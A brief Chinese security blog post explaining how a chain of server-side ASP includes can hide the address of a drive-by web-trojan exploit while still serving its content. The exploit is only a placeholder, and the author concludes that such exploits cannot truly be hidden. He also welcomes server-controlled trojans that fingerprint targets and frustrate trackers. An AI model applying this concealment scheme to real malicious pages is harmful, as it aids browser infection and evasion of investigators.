作者:余弦
来源:0x37 Security
其实想想就会知道,网马的exp总会有暴露的时刻,也就是说,我的系统环境只要满足条件就可以获得这个网马的exp。通过结合服务端的技术手段,我们可以隐藏网马exp的地址,但是却无法保证这个exp不暴露出来,exp终究要在你的浏览器上执行恶意行为。
比如下面code可以隐藏网马exp的地址,却不得不暴露出这个exp:
http://127.0.0.1/s_trojan/index.html的代码:<script src=”http://127.0.0.1/s_trojan/blackbox_0.asp”></script>
http://127.0.0.1/s_trojan/blackbox_0.asp的代码:<!– #include file=”blackbox_1.asp” –>
http://127.0.0.1/s_trojan/blackbox_1.asp的代码:
document.write(‘js go here……’)
<%
function xss()
response.write “alert(‘hello asp.’);”
end function
xss()
function f(filename)
set objFSO=Server.CreateObject(“Scripting.FileSystemObject”)
set objCountFile=objFSO.OpenTextFile(Server.MapPath(filename),1,True)
f=objCountFile.readall
objCountFile.close
set objCountFile=nothing
set objFSO=nothing
end function
x=f(“last_trojan.html”)
response.write x
%>
trojan()
最终的网马exp地址为http://127.0.0.1/s_trojan/last_trojan.html。blackbox_1.asp的代码既要保证服务端正确执行,又要保证客户端能正确执行其最终的JS代码。其实这些中间asp文件会暴露最终的网马exp的内容。但是却不会暴露地址。
结合服务端技术其实能做很多事,网马也将更加强大,更容易以服务端为中心而被控制着:-)。强大的网马中枢应该要能判断目标系统的环境而选择性地运行,并有详细的统计功能。这样会给跟踪者带来许多麻烦:-)。但,是不是能真正隐藏网马exp呢?原则上是不行的,因为exp总要输出,否则你的浏览器漏洞如何被触发?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论